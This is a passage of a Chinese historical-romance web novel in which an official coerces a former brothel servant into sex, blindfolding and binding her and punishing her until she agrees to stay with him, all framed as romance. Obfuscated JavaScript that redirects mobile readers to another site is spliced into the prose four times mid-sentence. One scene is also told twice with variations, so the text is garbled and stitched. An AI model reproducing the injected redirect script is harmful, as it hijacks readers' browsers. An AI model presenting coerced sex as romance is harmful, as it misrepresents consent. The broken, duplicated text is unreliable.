“用你说?我没眼睛看吗。”他用手指戳她的脑袋,“你这脑子在想什么淫邪的事情?再磨磨唧唧的,我要你好看。” 说的一副正义凛然的模样。 棠惊雨没办法,只好继续给他上药。 因为看不见,所以敷药敷得很慢。 算不清时间如何流逝,只觉得度日如年,她出了一脑门的汗。 看不见的时间越长,回忆起夜里孟浪的细节就越多,她的脸颊跟耳根就越热。 他真的贯彻她说的“任你玩”,花样之繁多,姿态之羞耻,简直令她瞠目结舌。 她的手臂已经酸软到快拿不动轻飘飘的绷带了,咬着牙在心里为自己鼓劲:再熬完这一遭就结束了! 谢庭钰将她脸上的神情变化看在眼里,十分满意地弯唇浅笑,总算不是根木头了。 等她最后要缠他腰部上的伤时,他故意张开双臂,挡在床架两边,让她不能起身绕到后面去缠绷带。 “大人,你能不能把手拿开?”她咬着唇,神态好不可怜。 他几乎要控住不住笑出声。“自个儿想办法。” 她只得倾身向前,双臂穿过他腰腹和手臂之间的空隙,宛如一个拥抱他的姿势,将绷带缠到他身后。 正当她要绕回来时,一条充满力量的长臂横在她的腰上,要她后退不得,还差一个指甲盖的距离就要贴到他的身上。 “大人……”她的语调里都染上了哭腔。 “棠惊雨我再警告你一次,少在这里卖弄娇媚勾引我,我不受你的蛊惑。给我专心做你的事情。” 她在心中大骂:伪君子!卑劣、无耻、下作的伪君子! 当下她只想快速缠好绷带,所以用腰使力,空出更多的缝隙,几圈缠好绷带,飞快系好结。 “好了,已经换好药了。”她试图唤醒他的良知那般提醒他松手。 他此刻没有良知那种东西。 他用双臂搂紧她,将她毫无空隙地抱在怀里,还要侧头在她的耳边甩锅:“你这是什么意思?故意跌在我身上,想要我怜惜你吗?你这是上哪里学的浪荡行为?一股狐媚样,跟个妖精似的。” “大人,白日宣淫,实非君子所为。”她豁出去了。 “你知道就好。”他开始为接下来的事情做铺垫,“说你两句,还要气得跑去榻上睡觉吗?心眼这么小,脾气倒是大得很。” 棠惊雨浑身一凛,立刻明白他要做什么,奋力挣扎想要离开他的怀抱。 他一手按住她的脖颈,吻住她的双唇,撬开牙关,与她缠绵交吻。 她遮着眼,与她翻被滚浪,就当是她的一场春梦。 结束后,他还是端方自持的君子。 斜阳将地面的树影拉长,炊烟袅袅升起。 叩叩叩—— 有人敲响房门。 “何事?”谢庭钰已经换好一身干净的圆领缺胯袍,端起一杯清茶一饮而尽。 曹子宁的声音响了起来:“有玉京的飞鸽传信。” “嗯。叫上人去议事堂议事。” “是。” 驿馆有专门的议事堂,方便前来歇脚的官员关门议事。 谢庭钰离开后,屋里只剩棠惊雨。 她俯身趴在床上,勒帛还系在脸上,泪水浸湿了柔顺的布料,双手无力,两腿微张,像是已经昏过去了。 有些事情,有了第一次,就要第二次,第三次,第很多次…… 到了祁水,玉京可以说是近在眼前了。 司天监算好了良辰吉时,所以谢庭钰一行人要先在祁水住上三日,之后再出发抵达玉京城门。 那文书还压在谢庭钰的手上,他能言会道,棠惊雨根本不是他的对手,三两句就败下阵,不情不愿地跟着他到了祁水。 到了驿馆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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与她相处的这段日子以来,除了床笫之间,他时常觉得她就像一个会喘点气的石头人,没什么欲望,也没什么情绪,被他气也好,被他闹也罢,也不太会有大的反应。 说她是当丫鬟当惯了的顺从也不是,她只是有点随遇而安,像块石头一样窝在那里看凡人的喜怒哀乐。 这是他第一次看见她笑。 有世俗欲望的,有情绪的,有反应的正常活人的表现。 这是他第一次看见她笑。 亮如繁星,美如皎月。 却是因为听说可以离开祁水,可以离开他身边而笑。 谢庭钰强行压上心口翻涌的难受,改杯换坛,举起酒坛就往嘴里灌酒。 棠惊雨误以为他这是高兴,为即将到来的繁华富贵而高兴,因此并没有出声制止他。 喝了半坛,望着远处晦暗的夜色,谢庭钰问她:“以前去过玉京吗?” 棠惊雨:“没有呢。只知道是皇城天子脚下一个十分繁荣的城市。” “说的是。我出发凉州前在玉京待过一阵,那里……” 他开始跟她细说玉京里都有什么,时不时还拿来与锦州对比,说得玉京天上有地下无。 他文采好,将玉京描述成一个十分令人向往的地方,她就跟听评书一样津津有味地听着。 瞧见她的神情,他带了点小心试探的意味问道:“你想去看看吗?” 可能是喝了酒,她没品出他的话里有话,直言道:“不想呢。” “为什么?”他的声音变冷。 “玉京是很好,也是天下第一城,但我不喜欢,所以是不想去。” “这是什么道理?” “唔……就跟荷花适合在泥潭里种植,而不适合在高山养植一样,我不适合玉京,就适合乡野小地方。” 谢庭钰怒气四散,说话都带着刺:“荷花高洁,你是吗?你分明就是那路边随处可见的野花,高山、泥潭,什么鬼地方都能长。阴曹地府也能长。” 她有点懵然地摸摸脸:“我有时分不清你到底是夸我还是骂我?” “多读些书就懂了。” “大人说的是。” 谢庭钰几近气昏过去。 8. 第 8 章 返京已久的平阳侯世子柳世宗、威烈将军陈润文和南安郡王之孙姜子良,得知谢庭钰就在祁水驿馆,等不及司天监算的良辰吉时,先行过去找好友叙旧。 四人见面相互拥抱一下,站在长廊里各自说了说近况。 其中着藕色团花纹双面翻领长袍的是平阳侯世子柳世宗,着橘红色缠枝花纹圆领袍的是南安郡王之孙姜子良,而着石青花卉连珠纹圆领缺胯袍的是…… “诶对了,有个事跟你说一下,”柳世宗将他扯到谢庭钰跟前,“你猜猜这位是谁?” 谢庭钰“哈哈”大笑:“柳世宗,我又不是老眼昏花,怎么会不认识咱们的威烈将军陈润文?” 他说着握拳锤了“陈润文”两下。 这下轮到姜子良大笑。 “我可太喜欢你的反应了。”姜子良一边揭秘一边抱拳轻微行礼,“这位是三皇子。借着‘陈润文’的名号,跟着我们去凉州待了三年。” “啊?”谢庭钰惊讶地看向三皇子,掀袍就要下跪,“微臣参加——” “欸——”三皇子赵英祯上前托起他的手臂,“不必行礼。倒是谢兄莫要责怪我的隐瞒才是。” 谢庭钰顺势站起来。 都是出生入死并肩作战的兄弟,方才的君臣礼过了,开始到朋友情了。 谢庭钰如往常与他们相处一样,假模假样地沉着脸说道:“呵呵。已经有隔阂了。” “行啊谢玄之,一如既往的胆大包天啊。”柳世宗跳起来钳制他的肩膀往下压。 姜子良随即一起。 三个人推推搡搡闹得不亦乐乎。 赵英祯笑道:“好了你们三个。快坐下来喝酒。不是带了很多好酒要找谢兄喝吗?” 姜子良忙里抽空道:“对对对,谢庭钰你只要叫我一声‘爹’,我就放了你。” 谢庭钰啐道:“我去你的。” 于是又闹起来。 赵英祯好笑地叹息一声。 到底想让好友喝一喝玉京的好酒,没多久三人就放开了,胡乱理了下衣袍,一道往前厅去了。 把酒言欢了一夜。 次日中午,四人又一道用了午膳,然后谢庭钰送他们离开。 柳世宗扯住缰绳回头看他:“欸你记得什么时辰吗?” 谢庭钰:“记得。” 姜子良:“别太想我们昂。” 谢庭钰:“快滚。” 赵英祯:“等你回京,我们几个再好好聚一聚。” 谢庭钰笑着朝他们招手。 等到看不见影子了,谢庭钰才背手回去了。 他们来,也不仅仅是为了叙旧,还给他带了不少关于玉京的消息,一定程度上影响了他的一些决策。 午后回到厢房。 谢庭钰坐到榻上,跟伏案练字的棠惊雨:“棠惊雨,你过来帮我按下肩膀。” 棠惊雨起身净手,刚站起来就看到他手里拿着一条勒帛,顿时双腿发颤地扶着一旁的木柜。 谢庭钰:“还要我请你过来是吗?” 她只好咬牙过去。 浮浮沉沉不知几时休。 熏香炉里的香都燃尽了。 夜色降临,室内没有燃灯,一片黑沉。 谢庭钰摸黑穿好一套干净的衣衫,吹亮火折子点燃煤灯。 屋内悠悠转亮,摇曳的烛火映在木塌上。 棠惊雨赤身躺在二人的衣服上,仿佛被人泼了一碗白粥般,身上是或浓或淡的痕迹。勒帛松了大半,露出一双短暂失焦的眼睛。 * 今年春日的雨水似乎比去年多。 谢庭钰办完事情回来不过申正左右,雨水淋漓下个不停。 四下晦涩昏暗。 李达给屋里点了一盏青铜油灯,泥黄光影被风吹得摇摇晃晃。 “她人呢?”谢庭钰目光锐利地盯着空荡的书案。 李达回道:“姑娘说出去一趟。” “去哪?” “说是给主子买个礼物。” “哦?”谢庭钰语调上扬,阴霾一散而空,上前一小步,正要开口,又觉得自己不够矜持,于是故作镇定地问,“有说要买什么吗?我也不是什么东西都收的。” 李达抿唇笑了一下,随后说:“姑娘只说是她认为世间绝好的东西。” “咳——”他假模假样地轻咳一声,克制自己心里的愉悦,“有说什么时候回来吗?带伞出去了吗?” “带了。”李达看了一眼外面的天色,“瞧着也差不多该回来了。” “嗯。”他压下上扬的嘴角,“等她回来让她第一时间过来找我。” “是。” 等听到李达的脚步声消失后,谢庭钰才控制不住地笑出来。 “还买礼物?真的是。”他背着手在房里踱步,“会买什么呢?她那个没见过世面的样子,能买回来什么好东西?真是胡闹。” “难道想通了,想求我带她一起去玉京?我牺牲如此大,只是一个礼物怎么够?” “如果真养在府里……”他纠结起来,“叫我纳妾,又实在做不出这种浅薄的事情……” “无名无分的话,也不知道她愿不愿意,会不会天天跟我闹呢?” “她这石头一样的性子,会闹起来吗?真闹起来,好像也能接受。” “要是闹得我受不了,纳妾的话……” 谢庭钰在房里如梦游般呓语,四处走来走去,越想越纠结,越想越紧张,唉声叹息好几回。 他走到木窗前探身看,没看着,又走到另一个木窗看,也没看着。 “该死的棠惊雨,下这么大雨跑出去做什么。真的是!” 他说完又走到窗前去看。 正百无聊赖看被雨水击打着四处摇晃的树叶时,一个熟悉的身影出现在眼前,谢庭钰目光一亮,随着那个身影移动,直到她踏进屋檐,收了油纸伞,他才快走两步回到屋子中央的方桌前。 他理了一下身上的春衫,抱着手臂靠着山水木雕座屏,刻意摆出一张不高兴的脸,直勾勾地盯着门口。 听着脚步声上楼,由远及近,再到门前。 木门推开。 在大雨中淋个半湿的棠惊雨走进屋,一见到谢庭钰,立刻笑起来:“大人!” 嚯!这个明艳可爱的笑容!这一声娇俏欢快的呼唤! 是因为要送礼物吧!是因为要送精挑细选的绝世好东西吧! 谢庭钰险些笑出声,但在看到她湿哒哒的裙摆和发尾时,倏地收敛表情,说:“快去更衣。” 他坐在方桌前,给她倒了一杯酒。 听到脚步声,他头也不回地点了一下桌面,说:“喝杯酒祛祛寒。” “谢谢大人。”尾音带了一点婉转。 他回头望去,她换了一身绿裙,头发应该是拿布帕胡乱擦拭了一番,随意地披在双肩后面。 她喝完酒坐下,他的目光看向她手里的茄袋,明知故问:“你刚才去哪里了?” “噢。”她从茄袋里翻出一枚鹅卵石圆形的刻字的墨玉玉牌递给他,“这是我最想送给大人的东西。” “一块墨玉也称得上绝世礼——”嘴角的笑意骤然敛起,他慢慢皱起眉,脸色渐渐变冷。 墨玉玉牌上用楷书刻着两句诗,诗曰: 桃李春风一杯酒, 江湖夜雨十年灯。 棠惊雨第一次送礼,见了他的脸色变化,当下还以为他是觉得这个礼物过于轻贱,于是她认真地说:“大人,礼轻情意重。这已经我能买到的最好也是最贵的玉了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147879|164754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 谢庭钰抬头看她,还抱有一丝希望:“这玉上的字……” 棠惊雨:“是我专门让工匠刻的。” “你知道这两句诗是什么意思吗?” “知道。” “真的?”他的目光跟冷针一样刺人。 “应该……”她以为他是笑话她不懂装懂,缩着肩膀看向杯沿处,“是知道的。” “呵。”他冷笑一声,还留有最后的一点幻想,“说说看。” 她不敢看他,于是将目光放向窗户的雨,遮天蔽日的雨幕让一切都变得模糊起来。 “以前在醉花楼的时候,总是能听到很多文人墨客念诗,但是我一句都没有记住。但有一回,记得也是一个风雨交加的夜晚,有两名刀客前来饮酒,二人像是要说尽世间事那样,喝了一晚上的酒。 “天亮离别前,其中一个人就对另一个人说‘桃李春风一杯酒,江湖夜雨十年灯’。 “离别的诗句听了很多,但这两句我觉着最好,这么些年一直记到了现在。所以我想把它们刻到玉石上,送给你。” 棠惊雨目光真挚地看着他。 这是她第一次跟他说了这么多的话,说的却是一个离别的故事,送的也是离别的诗。 谢庭钰深吸一口气,还是问她:“你知道送这两句诗给我,是什么意思吗?” 她说:“大抵是有过相逢就很好了的意思吧。” 其实还暗含着深深的思念。但他并不想她思念自己,因为“思念”这个词,是跟“长久别离”成对出现的。 所以她根本,从头到尾,都没有想过,要留在他的身边。 他死死地盯着手上的墨玉玉牌,翻来覆去地摩挲,握紧一下又松开,松开了又重新握紧,思考着是直接捏碎,还是直接扔掉比较好。 棠惊雨见他这样,自然认为她是嫌弃自己见识短浅,她有一点点泄气,颓唐地给自己倒了一杯酒喝。 谢庭钰知道她肯定不止买了这一个东西,因为他为了试探她,故意跟她说明天就是他们要离开祁水的日子了。 所以他说:“这玉我收下了。你日后如何打算?” 棠惊雨还在为他收下墨玉玉牌而感到高兴,听他问了就直接翻出茄袋里的船票同他说自己已经买好了船票,登船时间是丑初左右,还可以省下一晚客栈钱。 他的笑声很冷,她这摆明是做好这辈子与他不再相见的准备了。他回想起方才那个满怀兴奋与期待的自己,就如同一个傻子一样。 她始终以为他在嘲笑自己没见识,但她的确读书少,到现在也没有认识很多字,想开以后耸了耸肩,无所谓他嘲笑了。 他抬头看着她:“去了灵州之后呢?” 棠惊雨沉吟片刻,说:“唔……当采茶女或者去茶馆、酒楼里打下手。之后找媒婆说亲,嫁作良人妻,生子养家,平凡且幸福地过完一辈子。” 其实不是。只是灵州山清水秀,距离祁水也近,她去那里,是为了进山避世隐居当个闲散自在的隐士。 在醉花楼多年,为了保护自己,时时刻刻都在殚精竭虑,告诫自己要察言观色,随机应变,一天天饭不敢吃饱,觉不敢睡熟,度日如年地熬。 早就厌恶“人”了,根本不想再与这世间的任何一个人产生任何纠葛。 她当自己是草木一样地活,日日在醉花楼打理花石草木。 与人相处,不如与草木为伴。 往后一个人自由自在地生活在远山深林间,活着取用于山林,死了又归还给山林,多么美妙的结局。 只是她想这种不符合常理的理想生活愿景,说出来肯定会遭人耻笑,尤其是对面这位才高八斗的谢大人。 故此她随意扯了一个绝大多数人都会向往的美好生活愿想给他听。 9. 第 9 章 今春的雨水似乎比去年的多。 谢庭钰办完事情回来不过申正左右,雨水淋漓下个不停。 四下晦涩昏暗。 他进里屋换了一身干净的衣袍出来,就见棠惊雨站在桌前斟酒。 轩窗推开,湿润沁凉的风淌进屋子里。 方桌上点了一盏青铜油灯,泥黄光影被风吹得摇摇晃晃。 她斟完酒,又从木架上取来一只完好的油纸灯罩,小心翼翼地罩住油灯,摆动不停的火光瞬间平静下来。 朦胧的橙色暖光如滴在毛边纸的墨滴一样迅速洇开。 “大人,快过来喝杯酒祛祛寒吧。”她招手唤他。 她罕见地殷勤,他当然知道是为什么。 他抬步走到木凳前坐下,举起酒盏,将酒悠悠饮完,才把一张船票递过去:“这是明日一早前往灵州的船票。” 她马上搁下酒盏,伸手接来,眉眼间都浸着浅淡的笑意。 “需要李叔送你去搭船吗?” “不用了。”她摇摇头,语调轻快,“对了,我有一个礼物要送给你。” 谢庭钰此刻的心绪犹如一团乱麻。 他收了一封拜帖,当朝首辅的次子贾文菡携其小妹贾文萱,明日要来拜访他,与他闲谈一二。 贾文萱芳龄十六,尚未婚配,此次随行,意欲何为不难猜。 所以他让李达去买明日一早的船票,也是让棠惊雨正好与他们错开。 按计划来说,一切完美。 毕竟如果只到这里,没多少人知道他有过这样一段难以启齿的风月往事。 到了玉京,他会是一个没有妾室通房的身心干净的男人,在高门贵女前更有价值,更能拉拢权势助自己直飞青云。 那为什么,他的心里却没多少开心的感觉呢? 甚至觉得棠惊雨的笑容非常刺目。 棠惊雨并不清楚他那心思百转的愁绪,自顾自地将一枚鹅卵石圆形的刻字墨玉玉牌递过去。 “这是我最想送给大人的东西。” 她对谢庭钰,有怨恨,有憎恶,有愤懑,但也有感激,有欣赏,甚至还有一点点男女之情的迷恋。 复杂的情感叫人记忆深刻。 她能预想此次一别,便是此生不见。 她希望给这段短暂同行的旅途,留下一个余韵悠长的结局。 故此她拿出自己身上最好的一块玉,去请李达在上面刻了两句诗,诗曰: 桃李春风一杯酒, 江湖夜雨十年灯。 谢庭钰原本平淡的神情,在见了那玉牌上的两句诗后,顷刻间冷得像块寒冰。 棠惊雨第一次送礼,瞧着他的脸色变化,当下还以为他是觉得这个礼物过于轻贱,于是她认真地说:“大人,礼轻情意重。你不让我离开这厢房半步,我只能从醉花楼那儿攒下来的钱财里翻找——这已经我能拿出的最好也是最贵的玉了。” 他抬头看她,言语间还抱有一点希望:“这玉上的字……” 棠惊雨:“是我专门请李叔刻的。” “你知道这两句诗是什么意思吗?” “知道。” “真的?”他的目光跟冷针一样刺人。 “应该……”她以为他是在笑话她不懂装懂,缩起肩膀低眸看向酒盏边沿,“是知道的。” “呵。”他冷笑一声,还留有最后的一点幻想,“说说看。” 他身上的凌厉气息较以往更盛,她不敢抬眸看他,于是将目光挪向窗户的雨。 遮天蔽日的雨幕让一切都变得模糊起来。 “以前在醉花楼的时候,总是能听到很多文人墨客念诗,不过我一句都没有记住。但有一回,记得也是一个风雨交加的夜晚,有两名刀客前来饮酒,二人像是要说尽世间事那样,喝了一晚上的酒。 “天亮离别前,其中一个人就对另一个人说:‘桃李春风一杯酒,江湖夜雨十年灯’。 “离别的诗句听了很多,只这两句我觉着最好,这么些年一直记到了现在。所以我想把它们刻到玉石上,送给你。” 棠惊雨目光真挚地看着他。 这是她第一次跟他说了这么多的话,讲的却是一个离别的故事,送的也是离别的诗句。 谢庭钰深吸一口气,还是问她:“你知道送这两句诗给我,是什么意思吗?” 她说:“大抵,是有过相逢就很好了的意思吧。” 她说的不全对,诗里其实还暗含着深深的思念。 但他并不想她思念自己。 因为“思念”这个词,是跟“长久别离”成对出现的。 所以她根本,从头到尾,都没有想过,要留在他的身边。 他死死地盯着手上的墨玉玉牌,翻来覆去地摩挲,握紧一下又松开,松开了又重新握紧,思考着是直接捏碎,还是直接扔掉比较好。 棠惊雨见他这样,自然认为他这是在嫌弃自己的见识短浅,她有一点点泄气,颓唐地给自己倒了一杯酒喝。 “大人,你是不是很不喜欢这块玉?”她小心翼翼地问道。 “不是。”他强行扯出一个微笑,“这玉我收下了。” “毕竟我同你一别后,大约此生不会再相见。就当留个念想罢。”他紧紧盯着她。 “嗯。”她低头笑起来,“我也是这样想的。” 是吗。你居然真是这样想的。棠惊雨,我真想*死你。他阴毒地想。 他试图压下心口翻涌的钝痛,强装平静地问:“去了灵州之后呢?” 棠惊雨倒是没想到他会有此一问,沉吟片刻,才说:“唔……当采茶女或者去茶馆、酒楼里打下手。之后找媒婆说亲,嫁作良人妻,生子养家,平凡且幸福地过完这辈子。” 其实不是。只是灵州山清水秀,距离祁水也近,她去那里,是要当个闲散自在的隐士,进山避世隐居的。 在醉花楼多年,她为了保护自己,时时刻刻都在殚精竭虑,告诫自己要察言观色,随机应变,一天天饭不敢吃饱,觉不敢睡熟,度日如年地熬。 早就厌恶“人”了,根本不想再与这世间的任何一个人产生任何纠葛。 她当自己是草木一样地活,日日在醉花楼打理花石草木。 与人相处,不如与草木为伴。 往后一个人自由自在地生活在远山深林里,活着取用于山林,死了又归还给山林,多么美妙的结局。 只是她想这种不符合常理的理想生活愿景,说出来肯定会遭人耻笑,尤其是对面这位才笑话过她见识浅陋的谢大人。 故此她随意扯了一个绝大多数人都会向往的美好生活愿想给他听。 她却不知道这样的话,反而彻底激怒了并没有嘲笑她只是痛恨她绝情的小谢公子。 他的魂魄如灯台燃烧的袅袅热烟游离飘荡,一瞬间良知消散,理智泯灭,君子心碎成渣滓。 谢郎盯着她冷笑,扔下一句石破天惊的话—— “被我玩了这么多次,还能嫁人?” 震得棠惊雨一脑子嗡嗡乱响。 他们的确夜夜云雨。 哪怕是白日里,他都要以勒帛蒙住她的眼,假装入梦同她欢好。 床笫之外,他总是一副傲视凛然的姿态,就跟那些日子里发生的春事与他一概无关,只是她痴心妄想的春梦一样。 一直以来,他都遮掩得滴水不漏。 突然如此直白地挑衅,将她打个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他纵然有再多的不好,确实没害过她,甚至为了调养好她的身体,五十两一小根的人参也是说熬汤就熬汤。 可人心叵测,今日能为你豪掷千金细心呵护,明日就能为了别的期许将你作践蹂.躏,物品一般卖予他人。 醉花楼里的这种事情她看的太多——满心欢喜地从楼里出去,最后又悲戚哀怨地回到楼里,含恨而终。 最难将信人间客,唯恐托情寄终生。 她的心冷硬如铁,她的志坚如磐石。 “有五年能活就活,没有就肉骨归于天地。”她看向窗外已然变大的夜雨。 “再活五十年不是更好?” “我不求生命的长度,只求生命的厚度。” “傻子。要求也求共有生命的长度和厚度。” “够了!”她不想再跟他掰扯下去,毕竟她从来都说不过他。 她转过身看他,激动之余泪眼蒙眬。“我的命如草贱,活的了就活,活不了就算了。不用你操心。” 谢庭钰大步走来,霎时间与她咫尺相近。 “我偏要操心呢?我偏要你长命百岁呢?”他伸手握住她的手臂不让其往后退,“即便如此,你也还是要去灵州吗?” “是。”她倔强地仰头与他对视,“哪怕只有五个月的命,我也要去。” 此情景,正是: 春雷阵阵,风雨轰鸣。 雨打梨花落满地。积水如河溪,漫灌青石路。 天暗暗,灯煌煌。 悲欢离合总无情,诉尽情意留卿心。 10. 第 10 章 左右两边各一座的十五连盏铜灯,将里屋照得亮如白昼。 棠惊雨躺在谢庭钰的架子床上,双手双脚都被绸带捆了起来。 “这些,”谢庭钰端着一个手臂长度的木箱站在床边,“是当初搜查醉花楼时看到的东西。” 他将里面的东西当着棠惊雨的面,一件一件地取出来放在春凳上。 “说来真是鬼使神差,我找人做了一套全新的。”他从当中挑了一只缅铃拿起来,笑吟吟地看她,“试试?” 棠惊雨可太清楚他拿出来的那些东西都是什么用途了,慌得直往后躲,朝他破口大骂:“你疯了!你清醒一点!你知不知道自己在做什么?!” “我清醒得很。”他上前一步,脚抵住床沿,静静地垂眸看她。 “我想通了。功名利禄我要,名门正妻我要,”他弯下腰,伸手抓住她的腰带,轻而易举地将人扯过来,“你,我也要。” “谢玄之,你可是正人君子,怎么能说话不算数呢?”她还在做垂死挣扎。 “你刚刚叫我什么?”谢庭钰怔愣一瞬,惊喜地看她。 她抿紧唇,不肯再叫。她叫“谢玄之”,是因为他的名笔划太多不好记,所以她只记住了一个笔划简单的字。 “再叫一声让我听听。”他凑近她的耳边,温热的呼吸轻抚她右边的脸颊。 她惊叫一声,大喊:“无耻!下作!伪君子!” 他闷声笑起来,侧头在她的脸颊处啄吻一下,经过数日挣扎后坦然承认:“我是。” 他如此坦荡,她反倒愣住了。 他又问:“你说你想跟我一起回玉京?” 她骤然背脊发凉,仍然坚持道:“我要去灵州。” 他叹息一声。“答错了。” 他将缅铃压在她的锁骨处,一寸一寸地往下滚,边说:“要好好惩罚一番。” 翠帐如水波般晃动起来,榫卯结构的木床发出吱呀声,谩骂的声音渐渐歇了下去,呜咽啜泣声时起时断,绸带松开大半,原先平整的被褥变皱了…… 不知过了多久,那只被水浸湿的缅铃扔到地上。 眼角的泪水淌出来,染湿青灰色的软枕。 当她以为可以结束时,他却覆了上来。 “等等——” 余下的话堵在喉咙里。 更漏点点,春雨淋漓。 春花春叶经受不住连绵的冷雨锤击,纷纷落在浸水地上,今早才打扫干净的庭院,如今堆满了落花残叶。 临近入夜时分,从轩窗吹进来的风变冷了一点。 潮冷的风轻轻掀开帷幔的一角,却吹不散里屋的融热。 谢庭钰身心舒畅地走下床,到春凳前选了一只角先生,捏着棠惊雨的下颌,温声问她:“你是不是想跟我一起回玉京?” “不。我一点都不想。”她还有力气挣扎。 他装模作样地叹息一声。“你又答错了。” ………… 之后是连珠,软皮鞭…… 到了第九回。 凌乱的床褥上,二人“坐莲式”相拥。 谢庭钰再次问她:“你想跟我一起回京?” 他的吻流连在她的脖颈处,仿佛她这次要是再答错,他就会如僵尸一般,一口咬穿她的经脉,吸干她的血才罢休。 已经被玩到身心崩溃的棠惊雨,双手无力地搂着他的脖子,精疲力竭地给了他一个满意的回答:“……是。还望大人成全。” “回京之后,你要作何打算?” 她垂着泪,被“重击”一番后才继续开口:“我想要留在大人身边伺候,求大人垂怜。” 他拧过她的下颌,要她与自己对视,跟她说话时语气十分温柔,乍一听还以为他是在劝解她的卑微:“可我给不了你任何的名分。” 见她没有马上回应,他搂着她的腰用力往下按,眉眼变冷,即将要发作。 她立刻察觉到了他的变化,连忙应道:“只要能待在大人身边,惊雨无怨无悔。” “真的无怨无悔?” “是。无怨无悔。” 他这才大发慈悲地放她一马。 天将亮时,那张船票烧成灰烬。 * 驿馆正门前的空地。 贾府华丽的马车让朴素的驿馆都多了几分华贵。 身穿冬青绣金万字纹圆领缺胯袍的贾文菡先行掀开锦帘,跳下马车,回身抬臂,朝马车里的人说:“萱萱,下来吧。” 贾文萱闻声撩开锦帘。她虽是世族贵女,却因为年纪小,上有父母兄长宠爱,性子活泼的很。 今日她跟二哥出来,不穿纹样繁复的长裙,反倒穿了一身石榴红绣金铜钱纹圆领缺胯袍,淡妆敷面,明媚娇俏。 贾文菡对谢庭钰介绍:“这位便是我的小妹。贪玩活泼,就要跟着来,真的是打扰谢将军了。” 谢庭钰看了贾文萱一眼,对她眉目含笑地略施一礼,随后对贾文菡说:“贾二爷说笑了。来者皆是客。我已备好酒水,二位里边请。” 贾文萱稍稍落在他们二人半步,站在二哥的左侧方,悄悄打量这位年少有为的谢将军。 她不是第一次随兄长去见青年才俊,可大多一听说她的身份,就过分殷勤奉献,让她好不喜欢。 这位谢将军倒是与之前那些个不同,不卑不亢,礼数合宜。 甚至与她印象中“将军”都是些粗糙莽撞的武夫也大有不同。 他那一身杂锦对襟双翻领蜜橘色长袍,亮丽的衣料颜色反衬他春风得意,风流倜傥。 贾文萱抿唇笑了一下。她目前对这位谢将军的第一眼印象还不错,就是不知道他接下来能不能抗住她给出的挑战。 才坐下来喝了第一杯酒,贾文萱就说:“听闻谢将军收了不少舞姬歌女入帐,可否请出来,给我和哥哥演个曲儿,跳个舞助兴?不然光喝酒聊天倒没多大意思。” 谢庭钰轻声笑起来,看向她说道:“入帐的舞姬歌女没有,入院住着的才女倒是有几个。不过今日天气好,她们都去踏青了。三小姐想听曲儿,不妨让我来献献丑。” 说完,谢庭钰就让李达抱了一把古琴上来。 他掀袍起身坐到琴桌前,凝神静气地一口气连弹《飞泉引》《梅花弦》《清风送酒》三首曲子。 琴声绕梁,沁人心脾。 贾文菡连连称赞:“琴音风流谁得解,能挑嵇康笑伯牙。” 贾文萱虽然心里也赞扬对方琴技绝佳,但她偏要故意顶嘴:“哥哥夸得太过了。也不过是刚好能入耳而已。” 众星捧月长大的姑娘就是不一样,说反对的话时,嗓音甜俏,眉眼生动,娇滴滴地轻哼一声,让人想要把世间最美好的东西捧到她面前,只为哄她开心。 谢庭钰并不辩驳,只笑道:“三小姐说的是。先前若不是受了高人点拨,我怕是连这三首曲子都弹不出来。” 贾文菡摆手笑道:“谢将军莫要介怀。我这小妹就是牙尖嘴利,恼人的很。” 谢庭钰施施然站起身,毫无介怀之色。 “贾二爷哪里的话。——却说这祁水有道名菜烈火醉鱼,烹饪过程精彩纷呈,浓香诱人。我今日请了祁水的名楼大厨,这就请他们给二人表演一番。” 他拍了两下手掌,早已准备就绪的一行人将各种用具一一端上来搭建好。 贾文萱早闻祁水的烈火醉鱼出名,今日难得一见,抑制不住兴奋地探身往前看。 两坛黄酒浇下来,柴火棍一点,烈火瞬成,高耸入顶。 火焰瞬燃的一瞬间,热浪袭来,贾文菡飞快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15177940|164754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 退后一步,口中“哇——”的一声长叹。 贾文萱盯着面前的扇面,怔怔地回头看向握住扇柄的人。 若不是这把折扇及时出现遮在她的面前,先前突起的热浪怕是要灼伤她的脸了。 谢庭钰低眸看贾文萱,轻声提醒:“烈火热浪容易伤人,三小姐拿着这把扇子站远些看。” “噢……”贾文萱小心避开他的手,双手端起折扇。 这柄娟扇的像是男子专用,扇柄长如手臂,拿着很有分量,细闻之下还有一股浅淡的木香。 宽大的扇面很好地挡住滚滚袭来的热浪,油脂混着酒香萦绕在四周,附近都是对香味交口称赞的声音。 贾文萱端着娟扇,露出一双明眸去看烈火包裹下逐渐烧熟的大鱼,然后不自觉地抬眼去看站在自己斜前方的玉树郎君。 